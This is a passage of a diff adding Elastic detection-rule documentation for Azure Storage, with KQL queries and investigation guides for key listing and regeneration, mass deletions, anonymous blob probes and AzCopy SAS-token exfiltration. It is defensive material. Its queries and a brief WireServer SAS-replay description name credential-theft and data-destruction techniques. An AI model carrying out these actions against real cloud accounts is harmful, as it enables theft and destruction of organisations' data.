assess the potential impact of the exposure. +- Review Azure Activity Logs and storage access logs to determine if any data was accessed or exfiltrated while public access was enabled. +- Rotate any credentials, keys, or sensitive data that may have been stored in the exposed blob containers. +- If unauthorized modification is confirmed, disable the compromised user account or service principal and investigate how the credentials were obtained. +- Implement Azure Policy to prevent enabling public blob access on storage accounts containing sensitive data, using built-in policy definitions for storage account public access restrictions. +- Consider implementing private endpoints for storage accounts that should never be publicly accessible, ensuring network-level isolation. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "azure.activitylogs" and +event.action: "MICROSOFT.STORAGE/STORAGEACCOUNTS/WRITE" and +event.outcome: "success" and +azure.activitylogs.properties.responseBody: *\"allowBlobPublicAccess\"\:true* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Cloud Storage +** ID: T1530 +** Reference URL: https://attack.mitre.org/techniques/T1530/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-storage-account-deletion-by-unusual-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-storage-account-deletion-by-unusual-user.asciidoc new file mode 100644 index 0000000000..5011c33837 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-storage-account-deletion-by-unusual-user.asciidoc @@ -0,0 +1,123 @@ +[[prebuilt-rule-8-19-34-azure-storage-account-deletion-by-unusual-user]] +=== Azure Storage Account Deletion by Unusual User + +Identifies when an Azure Storage Account is deleted. Adversaries may delete storage accounts to disrupt operations, destroy evidence, or cause denial of service. This activity could indicate an attacker attempting to cover their tracks after data exfiltration or as part of a destructive attack. Monitoring storage account deletions is critical for detecting potential impact on business operations and data availability. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-azure.activitylogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.microsoft.com/en-us/security/blog/2025/08/27/storm-0501s-evolving-techniques-lead-to-cloud-based-ransomware/ + +*Tags*: + +* Domain: Cloud +* Domain: Storage +* Data Source: Azure +* Data Source: Azure Activity Logs +* Use Case: Threat Detection +* Tactic: Impact +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Rule Type: New Terms +* Platform: Azure +* Service: Azure Storage + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Azure Storage Account Deletion by Unusual User* + + +Azure Storage Accounts provide scalable cloud storage for applications and services. Deletion of storage accounts is a high-impact operation that permanently removes all contained data including blobs, files, queues, and tables. Adversaries may delete storage accounts to destroy evidence of their activities, disrupt business operations, or cause denial of service as part of ransomware or destructive attacks. This detection monitors for successful storage account deletion operations to identify potential malicious activity. + + +*Possible investigation steps* + + +- Review the Azure activity logs to identify the user or service principal that initiated the storage account deletion by examining the principal ID, UPN and user agent fields. +- Check the specific storage account name in `azure.resource.name` to understand which storage resources were deleted and assess the business impact. +- Investigate the timing of the event to correlate with any other suspicious activities, such as unusual login patterns, privilege escalation attempts, or other resource deletions. +- Examine the user's recent activity history to identify any other storage accounts or Azure resources that were deleted or modified by the same principal. +- Verify if the storage account deletion aligns with approved change requests or maintenance windows in your organization. +- Check if the deleted storage account contained critical data and whether backups are available for recovery. +- Review any related alerts or activities such as data exfiltration, configuration changes, or access policy modifications that occurred before the deletion. +- Investigate if the account was recently compromised by checking for suspicious authentication events or privilege escalations. + + +*False positive analysis* + + +- Legitimate decommissioning of unused storage accounts may trigger this alert. Document approved storage account cleanup activities and coordinate with infrastructure teams to understand planned deletions. +- DevOps automation tools might delete temporary storage accounts as part of infrastructure lifecycle management. Identify service principals used by CI/CD pipelines and consider creating exceptions for these automated processes. +- Testing and development environments may have frequent storage account creation and deletion cycles. Consider filtering out non-production storage accounts if appropriate for your environment. +- Cost optimization initiatives may involve deleting unused or redundant storage accounts. Coordinate with finance and infrastructure teams to understand planned resource optimization activities. + + +*Response and remediation* + + +- Immediately investigate whether the deletion was authorized by verifying with the account owner or relevant stakeholders. +- If the deletion was unauthorized, attempt to recover the storage account if soft-delete is enabled, or restore data from backups. +- Disable the compromised user account or service principal if unauthorized activity is confirmed and investigate how the credentials were obtained. +- Review and restrict Azure RBAC permissions to ensure only authorized users have storage account deletion capabilities (requires Contributor or Owner role). +- Implement Azure Resource Locks to prevent accidental or malicious deletion of critical storage accounts. +- Configure Azure Activity Log alerts to notify security teams immediately when storage accounts are deleted. +- Conduct a full security assessment to identify any other compromised resources or accounts and look for indicators of broader compromise. +- Document the incident and update security policies and procedures to prevent similar incidents in the future. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: azure.activitylogs and + azure.activitylogs.operation_name: "MICROSOFT.STORAGE/STORAGEACCOUNTS/DELETE" and + azure.activitylogs.identity.claims_initiated_by_user.name: * + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ +* Technique: +** Name: Service Stop +** ID: T1489 +** Reference URL: https://attack.mitre.org/techniques/T1489/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-storage-account-deletions-by-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-storage-account-deletions-by-user.asciidoc new file mode 100644 index 0000000000..75adb889aa --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-storage-account-deletions-by-user.asciidoc @@ -0,0 +1,127 @@ +[[prebuilt-rule-8-19-34-azure-storage-account-deletions-by-user]] +=== Azure Storage Account Deletions by User + +Identifies when a single user or service principal deletes multiple Azure Storage Accounts within a short time period. This behavior may indicate an adversary attempting to cause widespread service disruption, destroy evidence, or execute a destructive attack such as ransomware. Mass deletion of storage accounts can have severe business impact and is rarely performed by legitimate administrators except during controlled decommissioning activities. + +*Rule type*: threshold + +*Rule indices*: + +* logs-azure.activitylogs-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.microsoft.com/en-us/security/blog/2025/08/27/storm-0501s-evolving-techniques-lead-to-cloud-based-ransomware/ + +*Tags*: + +* Domain: Cloud +* Domain: Storage +* Data Source: Azure +* Data Source: Azure Activity Logs +* Use Case: Threat Detection +* Tactic: Impact +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Profile: Recommended +* Rule Type: Threshold +* Platform: Azure +* Service: Azure Storage + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Azure Storage Account Deletions by User* + + +Azure Storage Accounts are critical infrastructure components that store application data, backups, and business-critical information. Mass deletion of storage accounts is an unusual and high-impact activity that can result in significant data loss and service disruption. Adversaries may perform bulk deletions to destroy evidence after data exfiltration, cause denial of service, or as part of ransomware campaigns targeting cloud infrastructure. This detection identifies when a single identity deletes multiple storage accounts in a short timeframe, which is indicative of potentially malicious activity. + + +*Possible investigation steps* + + +- Review the Azure activity logs to identify the user or service principal that initiated the multiple storage account deletions by examining the principal ID, UPN and user agent fields in `azure.activitylogs.identity.claims_initiated_by_user.name`. +- Check the specific storage account names in `azure.resource.name` to understand which storage resources were deleted and assess the overall business impact. +- Investigate the timing and sequence of deletions to determine if they followed a pattern consistent with automated malicious activity or manual destruction. +- Examine the user's recent activity history including authentication events, privilege changes, and other Azure resource modifications to identify signs of account compromise. +- Verify if the storage account deletions align with approved change requests, maintenance windows, or decommissioning activities in your organization. +- Check if the deleted storage accounts contained critical data and whether backups are available for recovery. +- Review any related alerts or activities such as data exfiltration, unusual authentication patterns, or privilege escalation that occurred before the deletions. +- Investigate if other Azure resources (VMs, databases, resource groups) were also deleted or modified by the same principal. +- Check the authentication source and location to identify if the activity originated from an expected network location or potentially compromised session. + + +*False positive analysis* + + +- Legitimate bulk decommissioning of storage accounts during infrastructure cleanup may trigger this alert. Document approved resource cleanup activities and coordinate with infrastructure teams to create exceptions during planned maintenance windows. +- Infrastructure-as-Code (IaC) automation tools or CI/CD pipelines may delete multiple test or temporary storage accounts. Identify service principals used by automation tools and consider creating exceptions for these identities when operating in non-production environments. +- Cloud resource optimization initiatives may involve bulk deletion of unused storage accounts. Coordinate with finance and infrastructure teams to understand planned cost optimization activities and schedule them during documented maintenance windows. +- Disaster recovery testing or blue-green deployment strategies may involve deletion of multiple storage accounts. Work with DevOps teams to identify these patterns and create time-based exceptions during testing periods. + + +*Response and remediation* + + +- Immediately investigate whether the deletions were authorized by verifying with the account owner or relevant stakeholders. +- If the deletions were unauthorized, disable the compromised user account or service principal immediately to prevent further damage. +- Attempt to recover deleted storage accounts if soft-delete is enabled, or restore data from backups for critical storage accounts. +- Review and audit all Azure RBAC permissions to identify how the attacker gained storage account deletion capabilities (requires Contributor or Owner role). +- Conduct a full security assessment to identify the initial access vector and any other compromised accounts or resources. +- Implement Azure Resource Locks on all critical storage accounts to prevent accidental or malicious deletion. +- Configure Azure Policy to require approval workflows for storage account deletions using Azure Blueprints or custom governance solutions. +- Enable Azure Activity Log alerts to notify security teams immediately when storage accounts are deleted. +- Escalate the incident to the security operations center (SOC) or incident response team for investigation of potential broader compromise. +- Document the incident and update security policies, playbooks, and procedures to prevent similar incidents in the future. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: azure.activitylogs and + azure.activitylogs.operation_name: "MICROSOFT.STORAGE/STORAGEACCOUNTS/DELETE" and + azure.activitylogs.identity.claims_initiated_by_user.name: * + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ +* Technique: +** Name: Service Stop +** ID: T1489 +** Reference URL: https://attack.mitre.org/techniques/T1489/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-storage-account-key-regenerated.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-storage-account-key-regenerated.asciidoc new file mode 100644 index 0000000000..d461b9acee --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-storage-account-key-regenerated.asciidoc @@ -0,0 +1,137 @@ +[[prebuilt-rule-8-19-34-azure-storage-account-key-regenerated]] +=== Azure Storage Account Key Regenerated + +Identifies a rotation to storage account access keys in Azure. Regenerating access keys can affect any applications or Azure services that are dependent on the storage account key. Adversaries may regenerate a key as a means of acquiring credentials to access systems and resources. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.activitylogs-* +* filebeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/azure/storage/common/storage-account-keys-manage?tabs=azure-portal + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Use Case: Identity and Access Audit +* Tactic: Credential Access +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Azure +* Data Source: Azure Activity Logs +* Service: Azure Storage + +*Version*: 108 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Azure Storage Account Key Regenerated* + + +Azure Storage Account keys are critical credentials that grant access to storage resources. They are often used by applications and services to authenticate and interact with Azure Storage. Adversaries may regenerate these keys to gain unauthorized access, potentially disrupting services or exfiltrating data. The detection rule monitors for key regeneration events, flagging successful operations as potential indicators of credential misuse, thus enabling timely investigation and response. + + +*Possible investigation steps* + + +- Review the Azure activity logs to identify the specific storage account associated with the key regeneration event by examining the operation_name field for "MICROSOFT.STORAGE/STORAGEACCOUNTS/REGENERATEKEY/ACTION". +- Check the event.outcome field to confirm the success of the key regeneration and gather details about the user or service principal that initiated the action. +- Investigate the user or service principal's recent activities in Azure to determine if there are any other suspicious actions or patterns that could indicate unauthorized access or misuse. +- Assess the impact on applications and services that rely on the affected storage account key by identifying dependencies and checking for any service disruptions or anomalies. +- Review access policies and permissions for the storage account to ensure they are appropriately configured and consider implementing additional security measures, such as Azure Key Vault, to manage and rotate keys securely. + + +*False positive analysis* + + +- Routine key rotation by administrators or automated scripts can trigger alerts. To manage this, identify and document regular key rotation schedules and exclude these events from alerts. +- Development and testing environments often regenerate keys frequently. Exclude these environments from alerts by filtering based on environment tags or resource names. +- Third-party integrations or services that require periodic key regeneration might cause false positives. Work with service owners to understand these patterns and create exceptions for known, legitimate services. +- Azure policies or compliance checks that enforce key rotation can also lead to false positives. Coordinate with compliance teams to align detection rules with policy schedules and exclude these events. +- Ensure that any automated processes that regenerate keys are logged and documented. Use this documentation to create exceptions for these processes in the detection rule. + + +*Response and remediation* + + +- Immediately revoke the regenerated storage account keys to prevent unauthorized access. This can be done through the Azure portal or using Azure CLI commands. +- Identify and update all applications and services that rely on the compromised storage account keys with new, secure keys to restore functionality and prevent service disruption. +- Conduct a thorough review of access logs and audit trails to identify any unauthorized access or data exfiltration attempts that may have occurred using the regenerated keys. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems or accounts have been compromised. +- Implement conditional access policies and multi-factor authentication (MFA) for accessing Azure resources to enhance security and prevent similar incidents. +- Review and update the storage account's access policies and permissions to ensure that only authorized users and applications have the necessary access. +- Enhance monitoring and alerting mechanisms to detect future unauthorized key regeneration attempts promptly, ensuring timely response to potential threats. + +==== Setup + + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.activitylogs and azure.activitylogs.operation_name:"MICROSOFT.STORAGE/STORAGEACCOUNTS/REGENERATEKEY/ACTION" and event.outcome:(Success or success) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Cloud Instance Metadata API +** ID: T1552.005 +** Reference URL: https://attack.mitre.org/techniques/T1552/005/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Credentials +** ID: T1098.001 +** Reference URL: https://attack.mitre.org/techniques/T1098/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-storage-account-keys-accessed-by-privileged-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-storage-account-keys-accessed-by-privileged-user.asciidoc new file mode 100644 index 0000000000..68d1f24745 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-storage-account-keys-accessed-by-privileged-user.asciidoc @@ -0,0 +1,144 @@ +[[prebuilt-rule-8-19-34-azure-storage-account-keys-accessed-by-privileged-user]] +=== Azure Storage Account Keys Accessed by Privileged User + +Identifies unusual high-privileged access to Azure Storage Account keys by users with Owner, Contributor, or Storage Account Contributor roles. This technique was observed in STORM-0501 ransomware campaigns where compromised identities with high-privilege Azure RBAC roles retrieved access keys to perform unauthorized operations on Storage Accounts. Microsoft recommends using Shared Access Signature (SAS) models instead of direct key access for improved security. This rule detects when a user principal with high-privilege roles accesses storage keys for the first time in 7 days. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-azure.activitylogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.microsoft.com/en-us/security/blog/2025/08/27/storm-0501s-evolving-techniques-lead-to-cloud-based-ransomware/ +* https://docs.microsoft.com/en-us/azure/storage/common/storage-account-keys-manage + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Use Case: Threat Detection +* Data Source: Azure +* Data Source: Azure Activity Logs +* Tactic: Credential Access +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Rule Type: New Terms +* Platform: Azure +* Service: Azure Storage + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and Analysis* + + + +*Investigating Azure Storage Account Keys Accessed by Privileged User* + + +Azure Storage Account keys provide full administrative access to storage resources. While legitimate administrators may occasionally need to access these keys, Microsoft recommends using more granular access methods like Shared Access Signatures (SAS) or Azure AD authentication. This detection identifies when users with high-privilege roles (Owner, Contributor, Storage Account Contributor, or User Access Administrator) access storage account keys, particularly focusing on unusual patterns that may indicate compromise. This technique was notably observed in STORM-0501 ransomware campaigns where compromised identities retrieved keys for unauthorized storage operations. + + +*Possible investigation steps* + + +- Review the `azure.activitylogs.identity.authorization.evidence.principal_id` to identify the specific user who accessed the storage account keys. +- Examine the `azure.resource.name` field to determine which storage account's keys were accessed and assess the sensitivity of data stored there. +- Check the `azure.activitylogs.identity.authorization.evidence.role` to confirm the user's assigned role and whether this level of access is justified for their job function. +- Investigate the timing and frequency of the key access event - multiple key retrievals in a short timeframe may indicate automated exfiltration attempts. +- Review the source IP address and geographic location of the access request to identify any anomalous access patterns or locations. +- Correlate this event with other activities by the same principal ID, looking for patterns such as permission escalations, unusual data access, or configuration changes. +- Check Azure AD sign-in logs for the user around the same timeframe to identify any suspicious authentication events or MFA bypasses. +- Examine subsequent storage account activities to determine if the retrieved keys were used for data access, modification, or exfiltration. + + +*False positive analysis* + + +- DevOps and infrastructure teams may legitimately access storage keys during deployment or migration activities. Document these planned activities and consider creating exceptions for specific time windows. +- Emergency troubleshooting scenarios may require administrators to retrieve storage keys. Establish a process for documenting these emergency accesses and review them regularly. +- Automated backup or disaster recovery systems might use high-privilege service accounts that occasionally need key access. Consider using managed identities or service principals with more restricted permissions instead. +- Legacy applications that haven't been migrated to use SAS tokens or Azure AD authentication may still require key-based access. Plan to modernize these applications and track them as exceptions in the meantime. +- New storage account provisioning by administrators will often include initial key retrieval. Consider the age of the storage account when evaluating the risk level. + + +*Response and remediation* + + +- Immediately rotate the storage account keys that were accessed using Azure Portal or Azure CLI. +- Review all recent activities on the affected storage account to identify any unauthorized data access, modification, or exfiltration attempts. +- If unauthorized access is confirmed, disable the compromised user account and initiate password reset procedures. +- Audit all storage accounts accessible by the compromised identity and rotate keys for any accounts that may have been accessed. +- Implement Entra ID authentication or SAS tokens for applications currently using storage account keys to reduce future risk. +- Configure Azure Policy to restrict the listKeys operation to specific roles or require additional approval workflows. +- Review and potentially restrict the assignment of high-privilege roles like Owner and Contributor, following the principle of least privilege. +- Enable diagnostic logging for all storage accounts to maintain detailed audit trails of access and operations. +- Consider implementing Privileged Identity Management (PIM) for just-in-time access to high-privilege roles that can list storage keys. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "azure.activitylogs" and +azure.activitylogs.operation_name: "MICROSOFT.STORAGE/STORAGEACCOUNTS/LISTKEYS/ACTION" and +azure.activitylogs.identity.authorization.evidence.principal_type: "User" and +azure.activitylogs.identity.authorization.evidence.role: ( + "Owner" or + "Contributor" or + "Storage Account Contributor" or + "User Access Administrator" +) and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Credentials from Password Stores +** ID: T1555 +** Reference URL: https://attack.mitre.org/techniques/T1555/ +* Sub-technique: +** Name: Cloud Secrets Management Stores +** ID: T1555.006 +** Reference URL: https://attack.mitre.org/techniques/T1555/006/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-storage-anonymous-blob-access-to-unusual-resource.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-storage-anonymous-blob-access-to-unusual-resource.asciidoc new file mode 100644 index 0000000000..58c95589d1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-storage-anonymous-blob-access-to-unusual-resource.asciidoc @@ -0,0 +1,142 @@ +[[prebuilt-rule-8-19-34-azure-storage-anonymous-blob-access-to-unusual-resource]] +=== Azure Storage Anonymous Blob Access to Unusual Resource + +Identifies the first time an Azure Storage resource receives an anonymous data-plane read (GetBlob and related Get or List operations). Anonymous requests are used to probe public containers and to test stolen blob URLs before a SAS is appended. First-seen resource ID keeps volume down while still covering WireServer-related probes of status or extension blobs. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-azure.platformlogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/azure/azure-monitor/reference/tables/storagebloblogs +* https://learn.microsoft.com/en-us/azure/storage/blobs/anonymous-read-access-prevent +* https://cybercx.com.au/blog/azure-ssrf-metadata/ +* https://www.netspi.com/blog/technical-blog/cloud-pentesting/decrypting-vm-extension-settings-with-azure-wireserver/ + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Data Source: Azure Platform Logs +* Platform: Azure +* Service: Azure Storage +* Use Case: Threat Detection +* Tactic: Discovery +* Tactic: Collection +* Resources: Investigation Guide +* Rule Type: New Terms + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Azure Storage Anonymous Blob Access to Unusual Resource* + + +StorageRead platform logs record `AuthenticationType` as Anonymous when no SAS, OAuth, or account key is presented. +A first-seen `azure.resource.id` (typically the blob service +`/subscriptions/.../storageAccounts//blobServices/default`) means this resource has not had anonymous Get or +List traffic in the history window. + +WireServer SAS-replay chains often start with an anonymous GetBlob (HTTP 409/403) against the same object, then a +SAS 200. This rule does not require guest-agent path strings; those lab container names are not production +observables. + +`source.ip` is often empty. Use `source.address` (`ip:port`). + + +*Possible investigation steps* + + +- Review `event.action`, `azure.platformlogs.statusCode`, and `azure.platformlogs.uri`. +- HTTP 200 with Anonymous means the container or blob is publicly readable. HTTP 409/403 is a probe. +- Identify the account from `azure.resource.id` / `azure.resource.name` and check whether public access is intended. +- Search for SAS-authenticated GetBlob to the same account from the same source shortly after. +- If the URI contains `/$system/` or `md-hdd-`, correlate with WireServer access on VMs in the subscription. + + +*False positive analysis* + + +- Public blob websites and CDN origins. Exclude the `azure.resource.id` for approved public accounts. +- New accounts that enable StorageRead for the first time will alert on the first scanner hit. + + +*Response and remediation* + + +- Disable anonymous public access on accounts that should be private. +- If a follow-on SAS read exists, revoke that SAS and review how the URL was obtained. +- Keep StorageRead diagnostic logs enabled on storage accounts of interest. + + +==== Setup + + + +*Required Azure Storage Diagnostic Logs* + + +Enable StorageRead diagnostic logs on Azure Storage Accounts and stream them to the Event Hub used by the Azure +integration. Anonymous vs SAS is `azure.platformlogs.identity.type`. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: azure.platformlogs and + azure.platformlogs.identity.type: Anonymous and + event.action: ( + GetBlob or GetBlobMetadata or GetBlobProperties or GetBlockList or + GetPageRanges or QueryBlobContents or ListBlobs or + GetContainerProperties or GetContainerMetadata or GetContainerAcl + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Cloud Infrastructure Discovery +** ID: T1580 +** Reference URL: https://attack.mitre.org/techniques/T1580/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Cloud Storage +** ID: T1530 +** Reference URL: https://attack.mitre.org/techniques/T1530/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-storage-blob-retrieval-via-azcopy.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-storage-blob-retrieval-via-azcopy.asciidoc new file mode 100644 index 0000000000..6fdd33083e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-storage-blob-retrieval-via-azcopy.asciidoc @@ -0,0 +1,148 @@ +[[prebuilt-rule-8-19-34-azure-storage-blob-retrieval-via-azcopy]] +=== Azure Storage Blob Retrieval via AzCopy + +Identifies successful GetBlob operations on Azure Storage Accounts using AzCopy user agent with SAS token authentication. AzCopy is a command-line utility for copying data to and from Azure Storage. While legitimate for data migration, adversaries may abuse AzCopy with compromised SAS tokens to exfiltrate data from Azure Storage Accounts. This rule detects the first occurrence of GetBlob operations from a specific storage account using this pattern. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-azure.platformlogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.microsoft.com/en-us/security/blog/2025/08/27/storm-0501s-evolving-techniques-lead-to-cloud-based-ransomware/ +* https://learn.microsoft.com/en-us/azure/storage/common/storage-use-azcopy-v10 +* https://learn.microsoft.com/en-us/azure/storage/common/storage-sas-overview + +*Tags*: + +* Domain: Cloud +* Domain: Storage +* Data Source: Azure +* Data Source: Azure Platform Logs +* Data Source: Azure Storage +* Use Case: Threat Detection +* Tactic: Exfiltration +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Rule Type: New Terms +* Platform: Azure +* Service: Azure Storage + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Azure Storage Blob Retrieval via AzCopy* + + +Azure Storage Accounts provide cloud storage services for blobs, files, queues, and tables. Shared Access Signatures (SAS) tokens provide delegated access to resources in a storage account with specific permissions and time constraints. AzCopy is a Microsoft command-line utility designed for efficient data transfers to and from Azure Storage. While AzCopy is a legitimate tool, adversaries may abuse it with compromised SAS tokens to exfiltrate data from Azure Storage Accounts. + + +*Possible investigation steps* + +- Review the `azure.platformlogs.properties.accountName` field to identify which storage account is being accessed and assess the sensitivity of data stored in that account. +- Examine the `azure.platformlogs.properties.objectKey` field to identify the specific blob(s) being retrieved. Determine if the accessed files contain sensitive or confidential data. +- Check the `source.address` field to identify the source IP address of the request. Investigate if this IP is unusual, unexpected, or originates from an unexpected network or geographic location. +- Review the `azure.platformlogs.uri` field to examine the SAS token parameters, including: + - `se` (expiry time): Check when the SAS token expires + - `sp` (permissions): Verify what permissions were granted (e.g., "rl" for read and list) + - `sv` (API version): Note the storage service version being used +- Examine the `azure.platformlogs.identity.tokenHash` field to identify the specific SAS token signature being used. Correlate this with SAS token generation logs to determine when and how the token was created. +- Check the `azure.platformlogs.properties.responseBodySize` field to assess the volume of data being downloaded. Multiple GetBlob operations with large response sizes may indicate bulk data exfiltration. +- Search for related GetBlob operations from the same `source.address` or with the same `azure.platformlogs.identity.tokenHash` to identify patterns of systematic data retrieval. +- Review Azure Activity Logs for recent SAS token generation events or storage account key access operations that may indicate how the adversary obtained the credentials. +- Correlate this activity with ListBlobs or ListContainers operations from the same source, as adversaries often enumerate storage contents before exfiltration. +- Investigate the `azure.resource.group` field to understand which resource group the storage account belongs to and check for any recent security events or configuration changes in that resource group. + + +*False positive analysis* + +- Routine data migration or backup operations using AzCopy with SAS tokens are common in enterprise environments. If this is expected behavior for the storage account, consider adding exceptions for specific accounts or IP ranges. +- DevOps pipelines or automated workflows may use AzCopy with SAS tokens for legitimate data transfers. Review the automation configuration and add exceptions if appropriate. +- Third-party services or partners may have authorized access to storage accounts using AzCopy and SAS tokens. Verify these relationships and create exceptions for known authorized sources. + + +*Response and remediation* + +- If unauthorized access is confirmed, immediately revoke the compromised SAS token to prevent further data exfiltration. +- Review and rotate any additional SAS tokens that may have been compromised through the same attack vector. +- Assess the scope of data accessed or exfiltrated during the unauthorized GetBlob operations and determine if sensitive data was compromised. +- Implement additional 